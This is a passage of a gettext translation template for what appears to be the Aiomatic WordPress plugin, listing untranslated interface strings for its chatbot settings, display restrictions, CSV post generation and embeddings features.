"Delete Selected Theme" msgstr "" #: res/aiomatic-chatbot.php:6134 msgid "Chatbot Themes Tutorial Video:" msgstr "" #: res/aiomatic-chatbot.php:6142 msgid "AI Chatbot Moderation Options:" msgstr "" #: res/aiomatic-chatbot.php:6149 msgid "Select if you want to enable chatbot moderation" msgstr "" #: res/aiomatic-chatbot.php:6153 msgid "Enable User Message Moderation:" msgstr "" #: res/aiomatic-chatbot.php:6168 msgid "Select the AI model you want to use for moderation." msgstr "" #: res/aiomatic-chatbot.php:6172 msgid "AI Moderation Model:" msgstr "" #: res/aiomatic-chatbot.php:6189 msgid "" "Select the message which will appear to users when their input is flagged." msgstr "" #: res/aiomatic-chatbot.php:6193 msgid "Flagged Text Message:" msgstr "" #: res/aiomatic-chatbot.php:6207 msgid "AI Chatbot Settings:" msgstr "" #: res/aiomatic-chatbot.php:6214 msgid "" "Select if you want to make the chatbot respond with full text or do you want " "to enable response streaming, which is the recommended method to be used. In " "this case, the response will appear in real time, as it is generated by the " "AI (similar to ChatGPT). You can also use a typing effect, so text will " "appear gradually, but in this case, the response will start to appear only " "after the AI sent the full response to the plugin. This is also required for " "the text-to-speech feature of the plugin." msgstr "" #: res/aiomatic-chatbot.php:6224 msgid "Instant Response" msgstr "" #: res/aiomatic-chatbot.php:6241 msgid "Response Streaming (Recommended)" msgstr "" #: res/aiomatic-chatbot.php:6243 msgid "Typewriter Effect" msgstr "" #: res/aiomatic-chatbot.php:6253 msgid "" "Select if you want to allow users to stop response creation when AI message " "streaming in progress." msgstr "" #: res/aiomatic-chatbot.php:6257 msgid "Allow Users To Stop Response Creation When Streaming:" msgstr "" #: res/aiomatic-chatbot.php:6272 msgid "" "Select if you want to disable modern response processing in the chatbot." msgstr "" #: res/aiomatic-chatbot.php:6276 msgid "Disable Chatbot Modern Response Processing:" msgstr "" #: res/aiomatic-chatbot.php:6291 msgid "" "Select if you want to allow the chatbot to send HTML responses and the " "plugin to execute and parse these HTML responses." msgstr "" #: res/aiomatic-chatbot.php:6295 msgid "Enable Chatbot HTML Responses:" msgstr "" #: res/aiomatic-chatbot.php:6310 msgid "" "Select if you want to remove JavaScript code from the chatbot's HTML " "responses." msgstr "" #: res/aiomatic-chatbot.php:6314 msgid "Strip JavaScript From Chatbot HTML Responses:" msgstr "" #: res/aiomatic-chatbot.php:6329 msgid "" "Select if you want to enable the copying of messages, if users click the " "message bubbles." msgstr "" #: res/aiomatic-chatbot.php:6333 msgid "Enable Message Copying By Clicking It:" msgstr "" #: res/aiomatic-chatbot.php:6348 msgid "" "Select if you want to automatically scroll the window to bottom on new " "messages." msgstr "" #: res/aiomatic-chatbot.php:6352 msgid "Scroll To Bottom Of The Form On New Messages:" msgstr "" #: res/aiomatic-chatbot.php:6417 msgid "Select if you want to enable the voice input feature for the chatbot." msgstr "" #: res/aiomatic-chatbot.php:6421 msgid "Enable Chatbot Voice Input:" msgstr "" #: res/aiomatic-chatbot.php:6436 msgid "" "Select if you want to automatically submit form after speech recognition is " "complete." msgstr "" #: res/aiomatic-chatbot.php:6440 msgid "Enable Chat Auto-Submit On Voice Input Completion:" msgstr "" #: res/aiomatic-chatbot.php:6456 msgid "" "Select the file format how you want to allow users to download chatbot " "conversations to file." msgstr "" #: res/aiomatic-chatbot.php:6460 msgid "Download Chat Conversation To File As:" msgstr "" #: res/aiomatic-chatbot.php:6539 msgid "AI Image Chatbot Settings:" msgstr "" #: res/aiomatic-chatbot.php:6547 msgid "Select the image size for the AI image chatbot." msgstr "" #: res/aiomatic-chatbot.php:6551 msgid "AI Image Chatbot Image Size:" msgstr "" #: res/aiomatic-chatbot.php:6567 msgid "Select the image model for the AI image chatbot." msgstr "" #: res/aiomatic-chatbot.php:6586 msgid "Default API Parameters:" msgstr "" #: res/aiomatic-chatbot.php:6678 msgid "Select the model to be used for chatbot." msgstr "" #: res/aiomatic-chatbot.php:6799 msgid "Global Chatbots Settings:" msgstr "" #: res/aiomatic-chatbot.php:6852 msgid "" "Select if you want to automatically open the globally injected chatbot at " "page load." msgstr "" #: res/aiomatic-chatbot.php:6856 msgid "Auto Open Chatbot On Page Load:" msgstr "" #: res/aiomatic-chatbot.php:6871 msgid "Set the width of the chatbot form embedded. Default is 460px" msgstr "" #: res/aiomatic-chatbot.php:6875 msgid "Chatbot Width:" msgstr "" #: res/aiomatic-chatbot.php:6887 msgid "Set a icon which will open the chatbot." msgstr "" #: res/aiomatic-chatbot.php:6891 msgid "Chatbot Open Icon:" msgstr "" #: res/aiomatic-chatbot.php:6938 msgid "Your Own HTML Or Image URL:" msgstr "" #: res/aiomatic-chatbot.php:6942 msgid "Default Global Chatbot Settings:" msgstr "" #: res/aiomatic-chatbot.php:6949 msgid "" "Set a custom chatbot shortcode to be used when displaying the globally " "injected shortcode. To inject the default chatbot, leave this field blank." msgstr "" #: res/aiomatic-chatbot.php:6953 msgid "Custom Chatbot Shortcode To Be Injected Globally:" msgstr "" #: res/aiomatic-chatbot.php:6957 msgid "" "Add a custom chatbot shortcode to be injected globally to your site " "(optional)" msgstr "" #: res/aiomatic-chatbot.php:6963 msgid "Default Global Chatbot Restrictions:" msgstr "" #: res/aiomatic-chatbot.php:6970 res/aiomatic-chatbot.php:7445 #: res/aiomatic-chatbot.php:8861 msgid "" "Set a list of URL where to not show the chatbot. You can enter multiple " "URLs, each on a new line." msgstr "" #: res/aiomatic-chatbot.php:6974 res/aiomatic-chatbot.php:7449 #: res/aiomatic-chatbot.php:8864 msgid "Do Not Show The Chatbot On These URLs:" msgstr "" #: res/aiomatic-chatbot.php:6988 res/aiomatic-chatbot.php:7461 #: res/aiomatic-chatbot.php:8874 msgid "" "Set a list of URL only where to show the chatbot. You can enter multiple " "URLs, each on a new line. If you enter a list of URLs, the chatbot will be " "shown only on these URls and not on any other URLs from your site." msgstr "" #: res/aiomatic-chatbot.php:6992 res/aiomatic-chatbot.php:7465 #: res/aiomatic-chatbot.php:8877 msgid "Show The Chatbot Only On These URLs:" msgstr "" #: res/aiomatic-chatbot.php:7006 res/aiomatic-chatbot.php:7477 #: res/aiomatic-chatbot.php:8887 msgid "" "Set the hour period of each day, when you want to show the chatbot embedded " "on your site. Your current server time is: " msgstr "" #: res/aiomatic-chatbot.php:7010 res/aiomatic-chatbot.php:7481 #: res/aiomatic-chatbot.php:8890 msgid "Show The Chatbot Between Specific Hours Each Day:" msgstr "" #: res/aiomatic-chatbot.php:7026 res/aiomatic-chatbot.php:7494 #: res/aiomatic-chatbot.php:8900 msgid "" "Set the days of the week, when you want to always show the chatbot " "(regardless of the above hour limitations)." msgstr "" #: res/aiomatic-chatbot.php:7030 res/aiomatic-chatbot.php:7498 #: res/aiomatic-chatbot.php:8903 msgid "Days When To Always Show The Chatbot:" msgstr "" #: res/aiomatic-chatbot.php:7052 res/aiomatic-chatbot.php:7520 #: res/aiomatic-chatbot.php:8921 msgid "Set the days of the week, when you want to never show the chatbot." msgstr "" #: res/aiomatic-chatbot.php:7056 res/aiomatic-chatbot.php:7524 #: res/aiomatic-chatbot.php:8924 msgid "Days When To Never Show The Chatbot:" msgstr "" #: res/aiomatic-chatbot.php:7078 res/aiomatic-chatbot.php:7546 #: res/aiomatic-chatbot.php:8942 msgid "Select the WordPress content where to not show the chatbot." msgstr "" #: res/aiomatic-chatbot.php:7082 res/aiomatic-chatbot.php:7550 #: res/aiomatic-chatbot.php:8945 msgid "Do Not Show The Chatbot On This WordPress Content:" msgstr "" #: res/aiomatic-chatbot.php:7099 res/aiomatic-chatbot.php:7567 #: res/aiomatic-chatbot.php:8958 msgid "Select the WordPress content only where to show the chatbot." msgstr "" #: res/aiomatic-chatbot.php:7103 res/aiomatic-chatbot.php:7571 #: res/aiomatic-chatbot.php:8961 msgid "Show The Chatbot Only On This WordPress Content:" msgstr "" #: res/aiomatic-chatbot.php:7120 res/aiomatic-chatbot.php:7587 #: res/aiomatic-chatbot.php:8974 msgid "Select the languages for which the chatbot will not be shown." msgstr "" #: res/aiomatic-chatbot.php:7124 res/aiomatic-chatbot.php:7591 #: res/aiomatic-chatbot.php:8977 msgid "Do Not Show The Chatbot For These Languages:" msgstr "" #: res/aiomatic-chatbot.php:7141 res/aiomatic-chatbot.php:7607 #: res/aiomatic-chatbot.php:8990 msgid "Select the languages for only which the chatbot will be shown." msgstr "" #: res/aiomatic-chatbot.php:7145 res/aiomatic-chatbot.php:7611 #: res/aiomatic-chatbot.php:8993 msgid "Show The Chatbot Only For These Languages:" msgstr "" #: res/aiomatic-chatbot.php:7162 res/aiomatic-chatbot.php:7627 #: res/aiomatic-chatbot.php:9006 msgid "Select the user roles for which the chatbot will not be shown." msgstr "" #: res/aiomatic-chatbot.php:7166 res/aiomatic-chatbot.php:7631 #: res/aiomatic-chatbot.php:9009 msgid "Do Not Show The Chatbot For These User Roles:" msgstr "" #: res/aiomatic-chatbot.php:7183 res/aiomatic-chatbot.php:7647 #: res/aiomatic-chatbot.php:9022 msgid "Select the user roles for only which the chatbot will be shown." msgstr "" #: res/aiomatic-chatbot.php:7187 res/aiomatic-chatbot.php:7651 #: res/aiomatic-chatbot.php:9025 msgid "Show The Chatbot Only For These User Roles:" msgstr "" #: res/aiomatic-chatbot.php:7204 res/aiomatic-chatbot.php:7667 #: res/aiomatic-chatbot.php:9038 msgid "Select the devices for which the chatbot will not be shown." msgstr "" #: res/aiomatic-chatbot.php:7208 res/aiomatic-chatbot.php:7671 #: res/aiomatic-chatbot.php:9041 msgid "Do Not Show The Chatbot For These Devices:" msgstr "" #: res/aiomatic-chatbot.php:7225 res/aiomatic-chatbot.php:7687 #: res/aiomatic-chatbot.php:9054 msgid "Select the devices for only which the chatbot will be shown." msgstr "" #: res/aiomatic-chatbot.php:7229 res/aiomatic-chatbot.php:7691 #: res/aiomatic-chatbot.php:9057 msgid "Show The Chatbot Only For These Devices:" msgstr "" #: res/aiomatic-chatbot.php:7246 res/aiomatic-chatbot.php:7707 #: res/aiomatic-chatbot.php:9070 msgid "Select the Operating Systems for which the chatbot will not be shown." msgstr "" #: res/aiomatic-chatbot.php:7250 res/aiomatic-chatbot.php:7711 #: res/aiomatic-chatbot.php:9073 msgid "Do Not Show The Chatbot For These Operating Systems:" msgstr "" #: res/aiomatic-chatbot.php:7267 res/aiomatic-chatbot.php:7727 #: res/aiomatic-chatbot.php:9086 msgid "Select the Operating Systems for only which the chatbot will be shown." msgstr "" #: res/aiomatic-chatbot.php:7271 res/aiomatic-chatbot.php:7731 #: res/aiomatic-chatbot.php:9089 msgid "Show The Chatbot Only For These Operating Systems:" msgstr "" #: res/aiomatic-chatbot.php:7288 res/aiomatic-chatbot.php:7747 #: res/aiomatic-chatbot.php:9102 msgid "Select the Browsers for which the chatbot will not be shown." msgstr "" #: res/aiomatic-chatbot.php:7292 res/aiomatic-chatbot.php:7751 #: res/aiomatic-chatbot.php:9105 msgid "Do Not Show The Chatbot For These Browsers:" msgstr "" #: res/aiomatic-chatbot.php:7309 res/aiomatic-chatbot.php:7767 #: res/aiomatic-chatbot.php:9118 msgid "Select the Browsers for only which the chatbot will be shown." msgstr "" #: res/aiomatic-chatbot.php:7313 res/aiomatic-chatbot.php:7771 #: res/aiomatic-chatbot.php:9121 msgid "Show The Chatbot Only For These Browsers:" msgstr "" #: res/aiomatic-chatbot.php:7330 res/aiomatic-chatbot.php:7787 #: res/aiomatic-chatbot.php:9134 msgid "" "Select the IP Addresses for which the chatbot will not be shown. List of IP " "addresses or IP ranges. Examples: 46.33.233.31, 46.0-46.1" msgstr "" #: res/aiomatic-chatbot.php:7334 res/aiomatic-chatbot.php:7791 #: res/aiomatic-chatbot.php:9137 msgid "Do Not Show The Chatbot For These IP Addresses:" msgstr "" #: res/aiomatic-chatbot.php:7337 res/aiomatic-chatbot.php:7354 #: res/aiomatic-chatbot.php:7794 res/aiomatic-chatbot.php:7809 #: res/aiomatic-chatbot.php:9140 res/aiomatic-chatbot.php:9152 msgid "IP Addresses / Ranges" msgstr "" #: res/aiomatic-chatbot.php:7347 res/aiomatic-chatbot.php:7802 #: res/aiomatic-chatbot.php:9146 msgid "" "Select the IP Addresses for only which the chatbot will be shown. List of IP " "addresses or IP ranges. Examples: 46.33.233.31, 46.0-46.1" msgstr "" #: res/aiomatic-chatbot.php:7351 res/aiomatic-chatbot.php:7806 #: res/aiomatic-chatbot.php:9149 msgid "Show The Chatbot Only For These IP Addresses:" msgstr "" #: res/aiomatic-chatbot.php:7360 msgid "Additional Global Chatbot Rules:" msgstr "" #: res/aiomatic-chatbot.php:7382 res/aiomatic-shortcodes.php:588 msgid "Shortcode" msgstr "" #: res/aiomatic-chatbot.php:7386 msgid "" "Set the chatbot shortcode which will be used for the global website " "injection." msgstr "" #: res/aiomatic-chatbot.php:7396 msgid "Set more configurations and restrictions for this chatbot." msgstr "" #: res/aiomatic-chatbot.php:7428 msgid "Please insert the chatbot shortcode to be injected globally" msgstr "" #: res/aiomatic-chatbot.php:7817 msgid "Aiomatic Global Chatbots" msgstr "" #: res/aiomatic-chatbot.php:7828 msgid "Save Additional Chatbot Injection Rules" msgstr "" #: res/aiomatic-chatbot.php:7832 msgid "Tutorial Videos:" msgstr "" #: res/aiomatic-chatbot.php:7858 msgid "On (Local Storage)" msgstr "" #: res/aiomatic-chatbot.php:7859 msgid "On (Local Storage), Only Save Chat Logs" msgstr "" #: res/aiomatic-chatbot.php:7876 msgid "" "Select if you want to enable the persistent chat mode also for not logged in " "users." msgstr "" #: res/aiomatic-chatbot.php:7880 msgid "Enable Persistent Chat Also For Not Logged In Users:" msgstr "" #: res/aiomatic-chatbot.php:8008 res/aiomatic-chatbot.php:8360 #: res/aiomatic-chatbot.php:8484 res/aiomatic-chatbot.php:8614 msgid "Back to List" msgstr "" #: res/aiomatic-chatbot.php:8068 msgid "User Conversation Manager" msgstr "" #: res/aiomatic-chatbot.php:8081 msgid "" "No persistent chat messages found. You can enable this feature if you use " "the following shortcode to add a persistent AI chat to your page: [aiomatic-" "chat-form persistent=\"on\"]" msgstr "" #: res/aiomatic-chatbot.php:8230 msgid "Download All Conversations" msgstr "" #: res/aiomatic-chatbot.php:8232 msgid "Delete All Conversations" msgstr "" #: res/aiomatic-chatbot.php:8243 msgid "User conversation data has been deleted." msgstr "" #: res/aiomatic-chatbot.php:8349 msgid "View User Conversation" msgstr "" #: res/aiomatic-chatbot.php:8638 msgid "Add New Persona:" msgstr "" #: res/aiomatic-chatbot.php:8639 msgid "Persona Name*" msgstr "" #: res/aiomatic-chatbot.php:8642 msgid "Set the name of this persona." msgstr "" #: res/aiomatic-chatbot.php:8648 msgid "Persona Role" msgstr "" #: res/aiomatic-chatbot.php:8651 msgid "Set the role of this persona." msgstr "" #: res/aiomatic-chatbot.php:8657 msgid "Persona Context Prompt*" msgstr "" #: res/aiomatic-chatbot.php:8667 msgid "Persona First Message" msgstr "" #: res/aiomatic-chatbot.php:8671 msgid "Set the first message of this persona." msgstr "" #: res/aiomatic-chatbot.php:8677 msgid "Persona Avatar" msgstr "" #: res/aiomatic-chatbot.php:8681 msgid "Set the avatar of the chatbot persona." msgstr "" #: res/aiomatic-chatbot.php:8714 msgid "Restore Personas From File" msgstr "" #: res/aiomatic-chatbot.php:8718 msgid "Hit this button and you can restore personas from file." msgstr "" #: res/aiomatic-chatbot.php:8744 msgid "File uploaded successfully you can view it in the persona listing tab." msgstr "" #: res/aiomatic-chatbot.php:8754 msgid "Import Personas From File" msgstr "" #: res/aiomatic-chatbot.php:8770 msgid "Backup Current Personas To File:" msgstr "" #: res/aiomatic-chatbot.php:8774 msgid "Hit this button and you can backup the current personas to file." msgstr "" #: res/aiomatic-chatbot.php:8785 msgid "Import Default Personas (This Can Take For A While)" msgstr "" #: res/aiomatic-chatbot.php:8789 msgid "" "Hit this button and the plugin will create the default personas which come " "bundled with the plugin." msgstr "" #: res/aiomatic-chatbot.php:8797 msgid "Import Default Personas" msgstr "" #: res/aiomatic-chatbot.php:8810 msgid "Chatbot Preview" msgstr "" #: res/aiomatic-chatbot.php:8822 msgid "" "To add the chat bot to your website, please include the shortcode [aiomatic-" "chat-form] in the desired location on your site." msgstr "" #: res/aiomatic-chatbot.php:8845 msgid "" "Input the chatbot shortcode which will be embedded globally to your site" msgstr "" #: res/aiomatic-chatbot.php:8852 msgid "Rule ID " msgstr "" #: res/aiomatic-csv-list.php:74 res/aiomatic-single-list.php:1134 msgid "CSV File URLs List" msgstr "" #: res/aiomatic-csv-list.php:78 res/aiomatic-single-list.php:1137 msgid "" "Add the URLs of the CSV files from where the plugin will get the details for " "publishing posts. Add each file URL on a new line." msgstr "" #: res/aiomatic-csv-list.php:198 res/aiomatic-csv-list.php:1331 #: res/aiomatic-single-list.php:1192 msgid "CSV File Options" msgstr "" #: res/aiomatic-csv-list.php:206 res/aiomatic-csv-list.php:1335 #: res/aiomatic-single-list.php:1200 msgid "" "Set the separator of the CSV file. It is usually auto detected, however, if " "you have issues with auto detection, you can set the CSV separator here." msgstr "" #: res/aiomatic-csv-list.php:210 res/aiomatic-single-list.php:1204 msgid "CSV File Separator (Optional):" msgstr "" #: res/aiomatic-csv-list.php:263 res/aiomatic-csv-list.php:1398 #: res/aiomatic-single-list.php:1257 msgid "" "Do you want to randomize CSV row processing order or do you want to process " "the lines in their order of appearence?" msgstr "" #: res/aiomatic-csv-list.php:267 res/aiomatic-single-list.php:1261 msgid "Randomize CSV Row Processing Order:" msgstr "" #: res/aiomatic-csv-list.php:282 res/aiomatic-listicle-list.php:1758 #: res/aiomatic-rules-list.php:2039 msgid "Process Each Title/Topic Only Once:" msgstr "" #: res/aiomatic-csv-list.php:517 res/aiomatic-csv-list.php:1688 #: res/aiomatic-listicle-list.php:1978 res/aiomatic-listicle-list.php:4503 #: res/aiomatic-rules-list.php:2259 res/aiomatic-rules-list.php:5071 #, php-format msgid "" "Set the custom fields that will be set for generated posts. The syntax for " "this field is the following: custom_field_name1 => custom_field_value1, " "custom_field_name2 => custom_field_value2, ... . You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You can " "also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%" msgstr "" #: res/aiomatic-csv-list.php:532 res/aiomatic-csv-list.php:1700 #: res/aiomatic-listicle-list.php:1993 res/aiomatic-listicle-list.php:4515 #: res/aiomatic-rules-list.php:2274 res/aiomatic-rules-list.php:5083 #, php-format msgid "" "Set the custom taxonomies that will be set for generated posts. The syntax " "for this field is the following: custom_taxonomy_name1 => " "custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => " "custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You can also set " "hierarhical taxonomies (parent > child), in this format: " "custom_taxonomy_name => parent1 > child1 . You will also be able to use the " "custom shortcodes defined in the 'Custom Shortcode Creator' feature from the " "rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You can " "also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, " "%%blog_title%%" msgstr "" #: res/aiomatic-csv-list.php:927 msgid "Check some example CSV files you can use:" msgstr "" #: res/aiomatic-csv-list.php:927 msgid "CSV example file 1 (basic functionality)" msgstr "" #: res/aiomatic-csv-list.php:927 msgid "CSV example file 2 (advanced file with some additional variables)" msgstr "" #: res/aiomatic-csv-list.php:927 msgid "CSV example file 3 (advanced file with nested [aicontent] shortcodes" msgstr "" #: res/aiomatic-csv-list.php:927 msgid "You can also use Google Drive for CSV file storage:" msgstr "" #: res/aiomatic-csv-list.php:927 msgid "Tutorial video: how to use CSV files upload to Google Drive" msgstr "" #: res/aiomatic-csv-list.php:968 msgid "CSV AI Post Creator Tutorial Video" msgstr "" #: res/aiomatic-csv-list.php:1338 msgid "CSV File Separator (Optional)" msgstr "" #: res/aiomatic-csv-list.php:1401 msgid "Randomize CSV Row Processing Order" msgstr "" #: res/aiomatic-csv-list.php:1418 res/aiomatic-listicle-list.php:4250 #: res/aiomatic-rules-list.php:4817 msgid "Process Each Title/Topic Only Once" msgstr "" #: res/aiomatic-embeddings.php:15 msgid "" "You must add a Pinecone API or a Qdrant API key in the plugin's 'Settings' " "menu (API Keys tab), before you can use this feature!" msgstr "" #: res/aiomatic-embeddings.php:22 msgid "" "You must add a Pinecone or a Qdrant index in the plugin's 'Settings' menu " "(Embeddings tab), before you can use this feature!" msgstr "" #: res/aiomatic-embeddings.php:29 msgid "Aiomatic Embeddings" msgstr "" #: res/aiomatic-embeddings.php:33 res/aiomatic-main.php:41 #: res/aiomatic-training.php:56 msgid "Embeddings" msgstr "" #: res/aiomatic-embeddings.php:36 msgid "Add A New Embedding" msgstr "" #: res/aiomatic-embeddings.php:37 msgid "Upload Embeddings from CSV" msgstr "" #: res/aiomatic-embeddings.php:38 msgid "Scrape Data From URL" msgstr "" #: res/aiomatic-embeddings.php:39 msgid "Auto Index Existing Posts" msgstr "" #: res/aiomatic-embeddings.php:40 msgid "List Added Embeddings" msgstr "" #: res/aiomatic-embeddings.php:45 msgid "What are embeddings in GPT-3?" msgstr "" #: res/aiomatic-embeddings.php:46 msgid "" "Embeddings are a way to send to the AI content writer a set o pre-trained " "data, to give it more context about the question or prompt which was " "submitted to it, for which a response is awaited. These embeddings can help " "the model better understand language and the requirements sent in the prompt." msgstr "" #: res/aiomatic-embeddings.php:47 msgid "" "When creating embeds, it's important to keep in mind to always create a high " "quality data set, as this will help the AI writer to get a more correct " "context." msgstr "" #: res/aiomatic-embeddings.php:48 msgid "" "Lets say you would like to give your AI the ability to answer specific " "questions about your website content, company, product or anything else, but " "you don't want to go through the process of training your own AI model. In " "this case, the Embeddings feature is what you will need. Simply specify your " "statements in the Embeddings section of the plugin and they will be also " "sent to the AI content writer, when needed." msgstr "" #: res/aiomatic-embeddings.php:49 msgid "" "If you are looking for more complex way to customize the AI content writer " "and to be able to \"teach\" the AI a large set of information (by creating " "your own fine-tuned model), I suggest you check the" msgstr "" #: res/aiomatic-embeddings.php:49 msgid "feature of the plugin." msgstr "" #: res/aiomatic-embeddings.php:50 msgid "More about Embeddings" msgstr "" #: res/aiomatic-embeddings.php:51 msgid "The main steps of creating embeddings are" msgstr "" #: res/aiomatic-embeddings.php:52 res/aiomatic-shortcodes.php:128 #: res/aiomatic-training.php:59 msgid "Step 0: Read this tutorial carefully and watch the tutorial video" msgstr "" #: res/aiomatic-embeddings.php:52 res/aiomatic-training.php:59 msgid "be sure to not skip this step! Also, be sure to be clear with" msgstr "" #: res/aiomatic-embeddings.php:52 res/aiomatic-training.php:59 msgid "OpenAI's pricing" msgstr "" #: res/aiomatic-embeddings.php:52 msgid "for usage of embeddings." msgstr "" #: res/aiomatic-embeddings.php:53 msgid "Step 1: Create your data for embeddings" msgstr "" #: res/aiomatic-embeddings.php:53 msgid "" "create as many high quality questions and answers as possible, add them on a " "single line, give detailed context. In this case (contrary to AI model " "training) you don't need to create very large amounts of data, it is enough " "to enter just the information which you would like the AI model to learn " "about." msgstr "" #: res/aiomatic-embeddings.php:55 msgid "Step 2: Auto Index Existing Posts" msgstr "" #: res/aiomatic-embeddings.php:55 msgid "" "Using this feature you will be able to automatically create embeddings data " "from the posts you already have published on your site. You can set the " "plugin up to automatically index posts, pages, products or any custom post " "type. Embeddings will be automatically created using their data. You can " "change the template which is used for automatic embeddings creation, from " "the plugin's 'Settings' menu -> 'Embeddings' tab -> 'Auto Created Embeddings " "Template' settings field." msgstr "" #: res/aiomatic-embeddings.php:56 msgid "Step 3: List Added Embeddings" msgstr "" #: res/aiomatic-embeddings.php:56 msgid "" "Check and verify added embeddings and manage them to be sure they are " "correct." msgstr "" #: res/aiomatic-embeddings.php:58 res/aiomatic-shortcodes.php:135 #: res/aiomatic-training.php:76 msgid "Tutorial Video" msgstr "" #: res/aiomatic-embeddings.php:66 msgid "Embedding saved successfully" msgstr "" #: res/aiomatic-embeddings.php:68 msgid "Add a new embedding:" msgstr "" #: res/aiomatic-embeddings.php:76 res/aiomatic-limits-statistics.php:749 #: res/aiomatic-shortcodes.php:141 msgid "Redirecting..." msgstr "" #: res/aiomatic-embeddings.php:80 msgid "Sync Embeddings" msgstr "" #: res/aiomatic-embeddings.php:81 msgid "Delete Selected Embeddings" msgstr "" #: res/aiomatic-embeddings.php:82 msgid "Delete All Embeddings" msgstr "" #: res/aiomatic-embeddings.php:83 msgid "Download to CSV" msgstr "" #: res/aiomatic-embeddings.php:103 msgid "All embeddings" msgstr "" #: res/aiomatic-embeddings.php:120 msgid "Namespace" msgstr "" #: res/aiomatic-embeddings.php:122 res/aiomatic-limits-statistics.php:151 #: res/aiomatic-limits-statistics.php:1384 #: res/aiomatic-limits-statistics.php:1558 #: res/aiomatic-limits-statistics.php:1801 msgid "Tokens" msgstr "" #: res/aiomatic-embeddings.php:123 msgid "Estimated" msgstr "" #: res/aiomatic-embeddings.php:175 msgid "Upload New File" msgstr "" #: res/aiomatic-embeddings.php:180 msgid "Dataset (*.csv)" msgstr "" #: res/aiomatic-embeddings.php:187 msgid "File uploaded successfully." msgstr "" #: res/aiomatic-embeddings.php:194 msgid "Upload" msgstr "" #: res/aiomatic-embeddings.php:199 res/aiomatic-training.php:150 msgid "(Please increase this value if you want to upload larger datasets)" msgstr "" #: res/aiomatic-embeddings.php:203 msgid "" "The csv file should contain the embeddings data on the first column, each " "new data on a different row" msgstr "" #: res/aiomatic-embeddings.php:212 msgid "Scrape URL Data" msgstr "" #: res/aiomatic-embeddings.php:219 msgid "Enter the URL to be scraped" msgstr "" #: res/aiomatic-embeddings.php:224 msgid "URL scraping successful." msgstr "" #: res/aiomatic-embeddings.php:225 msgid "Scraping the URL..." msgstr "" #: res/aiomatic-embeddings.php:231 msgid "Scrape" msgstr "" #: res/aiomatic-embeddings.php:244 msgid "Auto Index Existing Posts:" msgstr "" #: res/aiomatic-embeddings.php:245 msgid "" "Bulk embedding creation might consume a large number of AI model tokens to " "complete! Be sure you check" msgstr "" #: res/aiomatic-embeddings.php:245 res/aiomatic-spinner-list.php:5032 msgid "token pricing" msgstr "" #: res/aiomatic-embeddings.php:245 msgid "before you continue. You can filter which posts you need to be indexed." msgstr "" #: res/aiomatic-embeddings.php:250 res/aiomatic-spinner-list.php:5037 msgid "" "INFO: You can change the way the posts are edited by changing settings in " "the 'Editing Templates and Options' tab from above! Also, be sure to save " "settings before running bulk post editing!" msgstr "" #: res/aiomatic-embeddings.php:259 res/aiomatic-spinner-list.php:5046 msgid "" "Do you want to run manual post editing, now? Please check configuration from " "below before clicking 'Run Post Editing'." msgstr "" #: res/aiomatic-embeddings.php:263 res/aiomatic-spinner-list.php:5050 msgid "Manually Run Post Editing Now:" msgstr "" #: res/aiomatic-embeddings.php:272 res/aiomatic-spinner-list.php:5059 msgid "Run Post Editing" msgstr "" #: res/aiomatic-embeddings.php:282 msgid "Bulk AI Embeddings Settings:" msgstr "" #: res/aiomatic-embeddings.php:291 res/aiomatic-spinner-list.php:5208 msgid "Set the maximum number of posts to be processed at each run." msgstr "" #: res/aiomatic-embeddings.php:295 res/aiomatic-spinner-list.php:5212 msgid "Maximum Number Of Posts To Process:" msgstr "" #: res/aiomatic-embeddings.php:310 msgid "" "Select if you want to reindex all posts (also the ones which are already " "indexed)." msgstr "" #: res/aiomatic-embeddings.php:314 msgid "Reindex Every Post:" msgstr "" #: res/aiomatic-embeddings.php:333 msgid "Posts From Which To Create Embeddings:" msgstr "" #: res/aiomatic-embeddings.php:342 res/aiomatic-spinner-list.php:5300 msgid "" "(int,int,int) - use author id [use minus (-) to exclude authors by ID ex. " "-1,-2,-3]" msgstr "" #: res/aiomatic-embeddings.php:346 res/aiomatic-spinner-list.php:5304 msgid "Author IDs:" msgstr "" #: res/aiomatic-embeddings.php:358 res/aiomatic-spinner-list.php:5316 msgid "(string) - use 'user_nicename' (NOT name)" msgstr "" #: res/aiomatic-embeddings.php:362 res/aiomatic-spinner-list.php:5320 msgid "Author Names:" msgstr "" #: res/aiomatic-embeddings.php:374 res/aiomatic-spinner-list.php:5332 msgid "(string,string,string) - use category slugs instead of names. " msgstr "" #: res/aiomatic-embeddings.php:378 res/aiomatic-spinner-list.php:5336 msgid "Category Names:" msgstr "" #: res/aiomatic-embeddings.php:390 res/aiomatic-spinner-list.php:5348 msgid "(string,string,string) - use tag slugs instead of names. " msgstr "" #: res/aiomatic-embeddings.php:394 res/aiomatic-spinner-list.php:5352 msgid "Tag Names:" msgstr "" #: res/aiomatic-embeddings.php:406 res/aiomatic-spinner-list.php:5364 msgid "Comma separated list of post IDs to edit." msgstr "" #: res/aiomatic-embeddings.php:410 res/aiomatic-spinner-list.php:5368 msgid "Post IDs:" msgstr "" #: res/aiomatic-embeddings.php:422 res/aiomatic-spinner-list.php:5380 msgid "(string) - use post slug." msgstr "" #: res/aiomatic-embeddings.php:426 res/aiomatic-spinner-list.php:5384 msgid "Post Name:" msgstr "" #: res/aiomatic-embeddings.php:438 res/aiomatic-spinner-list.php:5396 msgid "(int) - use page id." msgstr "" #: res/aiomatic-embeddings.php:442 res/aiomatic-spinner-list.php:5400 msgid "Page ID:" msgstr "" #: res/aiomatic-embeddings.php:454 res/aiomatic-spinner-list.php:5412 msgid "(string) - use page slug." msgstr "" #: res/aiomatic-embeddings.php:458 res/aiomatic-spinner-list.php:5416 msgid "Page Name:" msgstr "" #: res/aiomatic-embeddings.php:470 res/aiomatic-spinner-list.php:5428 msgid "(int) - use page id. Return just the child Pages." msgstr "" #: res/aiomatic-embeddings.php:474 res/aiomatic-spinner-list.php:5432 msgid "Post Parent:" msgstr "" #: res/aiomatic-embeddings.php:486 res/aiomatic-spinner-list.php:5444 msgid "" "(string,string) - The post types to 